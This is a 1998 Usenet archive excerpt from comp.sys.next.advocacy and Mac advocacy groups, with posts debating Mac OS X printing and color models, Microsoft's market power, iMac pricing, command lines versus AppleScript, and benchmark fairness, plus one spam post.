> render the same image on the page that compositing would render on the
> screen, choosing the best available representation for the printer.
> The op argument is ignored."
>
> Why is the op argument ignored?
Because it's easier to simply send the PS, you don't want the printer doing
this work. However with the changes being made, I wouldn't at all be
surprised to see this happen for the eQD engine.
[rather large pointless stuff snipped]
> But the currently documented Yellow Box API can't do it out-of-the-box.
>
> But no-one would ever want to do this, eh?
I don't know, but you're claim that that would because they can is just as
pointless as anyone else's that they don't because they can't.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 11:30:46 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1609981130460001@hephaestus.eng.uci.edu>
References: <35f981c1.4716408@news.alt.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tmd2j$145@newsb.netnews.att.com> <35FEC87E.D36A6CA0@nstar.net> <6tmm88$1k7@newsb.netnews.att.com> <rmcassid-1509981638450001@hephaestus.eng.uci.edu> <6tngqv$kcb$2@ash.prod.itd.earthlink.net>
In article <6tngqv$kcb$2@ash.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>The issue must be balanced against the
>>opinions of the competition and on the long-term effect of the market
>>domination.
>
>How do you figure out the "long-term" effect in technoloy, though?
Same as for any other market. If a single company can create a
significant[1] bottleneck through which all other affiliated companies
must pass, then it will have a long-term detrimental effect on the market.
It doesn't matter whether it is oil, phone service, shoes, or web
browsers. There is a difference in magnitude, on the inherent value of the
product (clearly the effects of a monopoly on, say, military aircraft will
be judged differently than chewing gum), and on the time frame, but the
rules are more or less the same.
[1] I think Arun pointed out the case that we legally and willfully
provide for the ability to create bottlenecks through patents and
copyrights, however it should also be noted that there are means to ensure
that those bottlenecks aren't too disabling to the market, such as IBM's
requirement to license patented technology. They can still profit from the
patent, they just can't force the bottleneck to exist.
By this reasoning, my solution to the MS issue would be for MS to publicly
release _all_ APIs, file formats, and protocols to open standards
organizations. MS Word could still be the best word-processor, it just
couldn't be the only word-processor that can open Word files. It would
stimulate the marketplace considerably, avoid the messiness of a MS
breakup, and steer clear of worthless consent decrees.
-Bob Cassidy
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 16 Sep 1998 18:31:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tp05d$s80@news1.panix.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com> <35FF4C9C.6E1E6224@trilithon.com>
On Tue, 15 Sep 1998 22:29:00 -0700,
Henry McGilton <henry@trilithon.com> wrote:
>Hmmmm --- that sounds backwards to me. Supply and Demand drive
>prices, not the other way around.
High demand and constrained supply work to raise prices. High demand
and amply supply work to lower prices.
Though it doesn't prove my point, it looks like Steve Jobs might agree
with me on this. The easiest way to increase the demand for Apple products
is to jump start a positive feedback loop. And the quickest way to do that
is by providing a large supply of an in demand item.
And it looks like he also agrees that OEMing makes more sense for Apple
than cloning.
http://www.news.com/News/Item/0,4,26369,00.html?owv
"Apple may outsource iMacs"
OEMing would allow Apple to build more iMacs for less money. That will
allow them to lower prices, therefore reach customers that have a lower
pricepoint. That will allow Apple to sell more iMacs for less money.
This is the same thing that Steve did with the Apple ][ and Bill Gates
did with the PC. (It is also what Steve failed to do with NeXT, and
what IBM failed to do with OS/2 and PS/2) Henry Ford did this with the
model T.
The important thing to keep in mind is that this only works if you can
increase the supply as the price drops. IMHO, if they tried this six
months ago with the Desktop g3s, it would have been a yet another mind
numbing failure. A second thing to keep in mind is that the this will
fail, (and quickly) if the product doesn't keep up to date. If Apple
is still selling the existing iMac for $400 in 24 months, the demand
will be similar for the current demand for Cabbage Patch kids.
> If you drop prices, all that
>happens is that people who would not have previously considered
>buying the product may now buy the product.
The demand for $1000 VCRs was much less than the demand for $200 VCR,
when prices dropped, more people were willing to buy VCRs. (IE, the
demand increased)
>The price of oil is at a multi-year low. Has that increased the
>demand for oil?
Oil is not a growth market. The market for devices that use Oil is
very mature with little (if any) new products that require Oil being
developed.
The iMac is in a new market. The "Computer-like consumer device"
market is a viable market for someone like Apple to waltz in, innovate,
supply the demand and create a positive feedback loop that will
lead to market dominance.
But then again, Apple has managed to screw up early leads before.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 16 Sep 1998 18:31:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tp05f$s80@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com>
On Tue, 15 Sep 1998 23:37:18 -0500, John Doherty <jdoherty@ix.netcom.com> wrote:
>In article <6tkdm3$dgb@news1.panix.com>, sal@panix.com wrote:
>| I will not preach the CLI gospel. If I am asked to teach the shell, I
>| will. As of yet, no one, out of hundred of clients in over ten years
>| of working with accountants, analysts, actuaries, traders and brokers;
>| has asked. THEY DON'T CARE.
>be waiting a long time. If your job is to help them do whatever they
>do as best they can with means they may not know enough to ask about,
>and you don't do that, then you're just failing in your job.
Not at all.
Are you familiar with the term "cost-benefit analysis"?
Learning to use the shell requires much more work then it would take to
learn a "sugar coated" CLI like VBA or AppleScript. Knowledge of the
shell will not improve their knowledge of the Apps they use; but,
knowledge of scripting systems does improve their knowledge of the Apps
they use.
Since both allow the user to automate tasks, chain the functionality of
Apps together, and perform arbitrary actions independent of the GUI, what
makes more sense for the user to learn?
>Let's say your clients are really interested in performance. For the
>sake of analogy, let's say they're race car drivers who use automatic
>transmissions for some reason. If they hire you to help improve their
>performance, and you don't point out that they really ought to be
>using manual transmissions instead, then you just aren't really giving
>them very good advice, are you?
Nonsense. If I provided them with a cost effective way of improving
performance (In your analogy VBA and AS become like "man-u-matic"
transmissions like Porsche's Tiptronic-S) I am doing my job. If I
require an greater outlay of resources with similar benefits, I am not
doing my job. VBA and AS are a lot more cost effective for most users.
Compare what it would take to teach a user to do a custom mail merge
with VBA to what it would take to teach a user to do the same from
a shell.
A sysadmin, DBA or Programmer should know the shell. A person who spends
all day in Excel or Photoshop will get greater benefits out of learning
VBA or AS then they will get out of learning the shell.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 18:31:08 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tp05c$s80@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net>
On Tue, 15 Sep 1998 00:09:50 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> >Think it through carefully and slowly. Can Dell replace your Macintosh?
>> Yes. If they couldn't, then Apple's market share could not drop.
>I was being specific to Joe Ragosta. Sure, many Mac users would be
>amenable to using a Dell machine, but people like Joe would not.
Joe is hardly the typical Mac user.
> The
>market Joe and his ilk represent is a very real, very closed market.
Loyal customers do not a monopoly make. Joe _can_ move to Windows without
having to learn new Apps or translate his files.
>> Apple has to differentiate its product from Compaq and Dell, just as Gateway,
>> IBM and HP have to.
>Absolutely, because most people are not like Joe.
Then I don't see why you claim that Apple is a monopolist. They have less than
5% of a market that _can_ move to windows and use the same Apps (and fonts)
that they use now. Microsoft has 90+% of that same market.
From: nospam@nospam!.kom (Steve)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 18:26:34 GMT
Organization: The Ohio State University
Message-ID: <360000c4.396484@nntp.service.ohio-state.edu>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <35ffae25.4266171@nntp.service.ohio-state.edu> <mteh-ya02408000R1609981057470001@news.earthlink.net>
On Wed, 16 Sep 1998 10:57:47 -0500, mteh@earthlink.net (Oliver M. Sun)
wrote:
>In article <35ffae25.4266171@nntp.service.ohio-state.edu>,
>nospam@nospam!.kom (Steve) wrote:
>
>
>
>>Depending on who is posting, you get all sorts of shifting arguments
>>on both sides. Some Mac advocates claim that the 30% number so widely
>>quoted (or misquoted) is based on multiple applications (without
>>providing any evidence AFAIK), and some claim it applies only to
>>Photoshop. I've made my own claims with respect to published
>>benchmarks, but the truth is that benchmarks can be designed to
>>support most any position.
>>
>>The difference that I see is that Mac advocates and Mac-oriented
>>Magazines (and Apple itself) seem to make no effort to publish any
>>benchmarks comparing Macs and PCs other than Integer Bytemark and
>>Photoshop. At least the PC-oriented magazines have made an effort to
>>compare multiple real-world applications. If these benchmarks are
>>biased, the Mac-oriented magazines should publish their own tests to
>>make their case IMO.
>>
>
> I sure did post the Floating-Point ByteMark test.
Fine, I stand corrected, you posted another synthetic processor
benchmark that has little relevance to real-world performance.
>And there is good
>reason to use PhotoShop for benchmarking, as pointed out in several Mac
>magazine columns -- how much does a word-processing benchmark really
>matter? A word-processing demon of a machine probably won't save you much
>time over a merely average one, considering the fact that you still have to
>write your document.
How relevant is a Photoshop benchmark to someone who never uses
Photoshop? I've already said many times that someone who spends a
significant amount of time in Photoshop has good reason to look at
Photoshop results, however, many people (including many Mac users) do
not.
I don't suggest simply switching a word processor benchmark for
Photoshop. There are many, many different types of applications out
there that people use, many of which are at least as processor
intensive as Photoshop (i.e. 3D rendering, MPEG encode, database
queries, vector-based image editing, etc.).
> If the OS is easier to use, it may help you get this
>work done faster, but that's about it. A fast PhotoShop machine might save
>you a good part of an hour on a single step, where you would normally be
>forced to go for a coffee break.
> Now if your computer works out of the box without any problems, lets you
>add hardware later in a trouble-free fashion, then it could save you hours
>of setup and troubleshooting. It would take some heavy-duty word
>processing and web surfing to make up that time.
> And finally, the clincher: we're not the ones hanging around a Windows
>newsgroup challenging the readers to constantly justify themselves to the
>users of some other OS. Why should we put out any Herculean effort
>whatsoever?
>
Nobody is forcing anybody to do anything. I've stated my opinion, and
you can agree or disagree. If what I've said is unimportant or
irrelevant, I wouldn't expect anybody to have a need to respond.
-Steve
From: hxyjxahf@somethingfunny.net
Newsgroups: comp.sys.next.advocacy
Subject: WOW!!! WHAT A STORY ONLINE!!!
Date: 16 Sep 1998 18:24:17 GMT
Organization: Northwestern Indiana Telephone Co.
Message-ID: <6tovoh$hcv$362@hyperion.nitco.com>
I happen to have dropped by http://www.despotovic.net and I couldn't believe what I saw. A complete case online with over 48 pictures, 3 police reports and more!!!
Regards.
P.S.- The website address is http://www.despotovic.net
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 16 Sep 1998 11:41:10 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com>
Scott Hess wrote in message ...
>Which is _exactly_ the reason that a capable CLI deserves to be
>present on all modern operating systems (this is one of my gripes with
>NT, in fact).
But... NT has a CLI. (Start:Program Files:Command Prompt).
And there is even a way that GUI applications can start up a CLI
application with I/O redirection and everything.
Or is your gripe the fact that the Command Prompt in NT isn't
"capable?"
- Bill Woody
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 16 Sep 1998 11:44:57 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tp16q$cqg$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com> <35F87337.D69A6436@nstar.net> <heaney-1109980117350001@24.0.246.137> <6tbj44$de$2@nnrp03.primenet.com> <*johnnyc*-1509980955000001@jchristie.halifaxcable.dal.ca> <6tlr5v$95c$1@nnrp02.primenet.com> <heaney-1509981559380001@24.0.246.137> <6tn105$8p$1@nnrp4.snfc21.pbi.net> <heaney-1509982121200001@24.0.246.137>
John Heaney wrote in message ...
>In article <6tn105$8p$1@nnrp4.snfc21.pbi.net>, "William Edward Woody"
><woody@alumni.caltech.edu> wrote:
>
>> John Heaney wrote in message ...
>> >That's not true! There are examples of graphical programming languages.
>> >Prograph is the best, ....
>>
>> Oh, *that*'s where I heard about Prograph! I just got off the phone
>> from a head hunter who was looking for Prograph experience for
>> a contract--unfortunately I forget who it was, however. Sorry.
>
>Was there like a point to this comment?
Very little, actually.
Except that I do remember a comment from someone in this
thread that suggested that there are no Prograph jobs out
there--perhaps because it's a graphical programming environment.
- Bill
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 16 Sep 1998 11:55:23 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tp1qc$nu4$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com>
John Doherty wrote in message ...
>Let's say your clients are really interested in performance. For the
>sake of analogy, let's say they're race car drivers who use automatic
>transmissions for some reason. If they hire you to help improve their
>performance, and you don't point out that they really ought to be
>using manual transmissions instead, then you just aren't really giving
>them very good advice, are you?
An amusing comment, as current race car technology is evolving
in the direction of manual/automatic hybrids. Turns out that a
computer can shift faster than a human, but sometimes needs a
hint as to what the human is about to do.
The Porsche Boxster Tiptronic-S technology (which is an
manual/automatic hybrid) is based on this race car technology.
What's especially amusing about this comment is your assumption
that when your clients are interested in "performance", they are
interested in going like a bat out of hell on the bleeding
edge. What if to your clients "performance" meant "going where
they wanted to and getting good gas milege in the process?"
(In fact, the term "performance" as used in Shell service
station commercials is "better gas milege," not "able to
achieve Warp 6 in second gear.")
Meaning your concept of performance and your clients/users/
drivers may not necessarly be the same.
Which is why the market not only has Ferraris and Porsches
but also has VW Beetles and Acura Integras and Toyota Camrys.
Because sometimes people aren't willing to pay a high price,
but instead have a task in mind (like dropping the kids off
at school and going to work) that the higher-cost solutions
are overkill for.
- Bill Woody
(Who notes for the terminally dense that you need to transpose
"higher cost" for "more time consuming to learn" in the above
paragraph to relate it to the GUI/CLI debate.)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 16 Sep 1998 12:01:06 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1609981201070001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <E8HL1.6148$MS.15631829@news.rdc1.sdca.home.com>
In article <E8HL1.6148$MS.15631829@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>Aghh... FM's for city slickers' ... there ain't no hog belly markets on FM.
Actually, I think it has been scientifically concluded that both country
_and_ western music sound like hell in stereo. Or something to that
effect...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 16 Sep 1998 11:53:42 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1609981153440001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>
In article <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>And what good is a "portable" if you can't upload SONY DigitalVideo from the
>field? At least, the high-end Sony Cams are sporting Firewire. I wonder if
>they are meant for In-Studio desktop use only?
No, the laptops and future desktops _should_ have Firewire and SCSI. The
iMac has neither. Upload away in the field, and in the studio, just don't
try it with the current iMac...
>> One trend seems to be opening UI choices to the user.
>
>This is holding on the Mac side but there is no choice for a
>NeXTSTEP/OPENSTEP UI. Call me skeptical...
Yeah, I wouldn't hold my breath unless a 3rd party comes through... Apple
certainly won't do it.
>> Well, that makes sense. Apple at least seems to be working more closely
>> with 3Com on the Palm integration. Maybe they're not totally in the dark
>> here...
>>
>This is new to me... I know nothing about Apple and Palm Pilot? Is this
>integration beyond API's?
Not really at this point, although you can at least find decent evidence
now that a Palm can be hooked up to a Mac, and I think they announced iMac
connectivity due soonish. 3Com did buy Claris Organizer from Apple to be
used as their Mac<->Palm tie.
>> Great. You'll have 100 devices and 100 ports to plug them into... :-)
>
>I already have 5 devices and only 2 ports. REX, Digital Camera, 2 Psions,
>and a serial mouse Yeah, like I can get 5 serial ports to configure on WinXX
>let alone 100 ports but thanks to USP I think Apple saved my butt on WinXX
>platforms. :-\ I'm looking at an Intel 440BX IO motherboard with two USP
>ports as a possible solution.
So basically you are saying that USB is the ultimate direction for people
that need hook crap together. So Apple has at least gotten that part
right...
>> Apple does have a lot on it's hands these days. We'll see how they handle
>> it.
>
>Apple doesn't have Pop Psych luxury to "handle it". They've done enough of
>that the last 10 years, don't you think?
>
>It's my opinion Quark==Adobe buyout is only the first tremor in Apple's
>crust. The whole Apple Pie is cooked if they don't get Ports, Paths and
>21st Century Partners to _help_ them survive once they get there (ala Sony,
>Lucent, Phillips, Errickson, Psion).
I don't see a problem with that happening. Partners are different than
buying and integrating operating systems. Basically Apple has the entire
planet of companies that MS is trying to crush to choose from to partner
with.
>But hey, maybe the view is different from the cush offices in Cupertino.
>And who in hell ever has time to read this thread anyway? I'm like the guy
>who wants to save the forests (ie Save Apple) as I choose Cedar Shake
>shingles (ie. Intel BX440 motherboard) for my new wood home (ie Microsoft
>WinNT) , I suppose.
Actually, buying cedar shake shingles should provide demand for relatively
expensive cedar trees which should encourage planting and protection of
cedar trees rather than having the land razed in favor of cows or WalMarts
or MS legal offices. Better to buy cedar than pine or some other low-value
wood. The goal is to raise the minimum market value of wood, which gives
no clear opportunity to just cut stuff down for the land underneath. So go
side your house in zebrawood or mahogony. We need some demand for those
rainforest trees before they get replaced by cows!
Ok, surely there will be some flaming from the audience for that outburst...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 16 Sep 1998 11:58:58 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1609981158580001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <KmHL1.6151$MS.15637273@news.rdc1.sdca.home.com>
In article <KmHL1.6151$MS.15637273@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>Psion
>wins the first part but has a detrimental reliance upon partnering to
>compete against WinCE on the second. I like what Apple does for Psion's
>survival in the second part...
Sounds like the Apple Story all over again. First out of the blocks
technologically, but hopelessly outclassed for the rest of the race. Do I
sense a bit of selfish interest here, Rex? Is Psion your Apple? :-)
-Bob Cassidy
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 16 Sep 98 12:01:19 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B225592E-F2C67@206.165.43.141>
References: <EzE2As.Bso@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>> Why is the op argument ignored?
>
> Because it's easier to simply send the PS, you don't want the printer
doing
>this work.
No, it's because there is a 1:1 correspondance between the REAL capabilties
of NeXT's DPS-based printing and PS. If PS can't do it, it can't be done
without extra work on the part of the programmer because the imaging model
that NeXT uses doesn't really extend beyond what PS can do. GX could do it
because it wasn't directly tied to DPS/PS and provided a translator
mechanism to convert to PS. This has other shortcomings compared to DPS,
but since DPS is no longer used in the Yellow Box, they are now moot.
However with the changes being made, I wouldn't at all be
>surprised to see this happen for the eQD engine.
I would be pleased to see this happen. Whether it does or not likely
depends on corporate politics more than technical capabilities. Mike
Paquette and company have access to many of the original GX engineers and
certainly to the source code. Any technical shortcomings of MacOS X
graphics will be due to political realities and not to any technical
difficulties in using GX's color model for printing.
[the choice of PDF as the print file format suggests that the political
battles are over and the Forces of Darkness won, but perhaps Apple can
still implement GX color space manipulation for pre-press and printing
using custom PDF objects while keeping Adobe officially happy]
>
>[rather large pointless stuff snipped]
>
>> But the currently documented Yellow Box API can't do it out-of-the-box.
>>
>> But no-one would ever want to do this, eh?
>
> I don't know, but you're claim that that would because they can is just
as
>pointless as anyone else's that they don't because they can't.
>
No. I'm claiming (or predicting) that Apple is afraid of stepping on
Adobe's toes by extending the printing and 2D imaging capabilities of the
MacOS in directions beyond those that Adobe's own DTP and pre-press
products support.
Obviously, anyone that wanted to roll his/her own GX-like solution for
Yellow Box printing could do so for the existing operators (which SHOULD
include the per-color-channel manipulations for vector/text operators, in
my opinion. What's this limitation for only allowing per-color-channel
manipulation of bitmaps? Vectors and text should have the same color
capabilities or don't you imagine that people would ever want to do similar
color-space manipulations of a bit of text or vector-graphic that was
overlapping another vector and/or a bitmap?).
The problem with a custom "roll your own" is that it won't be supported by
Apple's printing format or even if it is, it won't be useable in a
universal pre-press format.
Apple should support GX-level color-space manipulation for text and vectors
and bitmaps and should go further than GX does by supporting [at least]
GX-level color-space manipulation on a per-style-run basis for text of all
kinds. There might also be a plug-in architecture that allows algorithmic
manipulation of color spaces that uses Java-based functions to allow for
universal application of algorithmic color-space manipulation, even during
pre-press. A similar solution might be doable for custom color ramps
depending on how Adobe defines them in PS 3. If you can constrain the Java
code to allow for easy translation to PS, you can regain a LOT of DPS
functionality while still avoiding the payment of royalties for a defunct
technology.
I would think it possible for Apple to devise a special Java=>PS validation
utility that would ensure that the Java code used would translate into
valid PS code with well-defined results.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 05:06:25 +1000
Organization: University of Queensland
Message-ID: <6tp231$cgb$1@bunyip.cc.uq.edu.au>
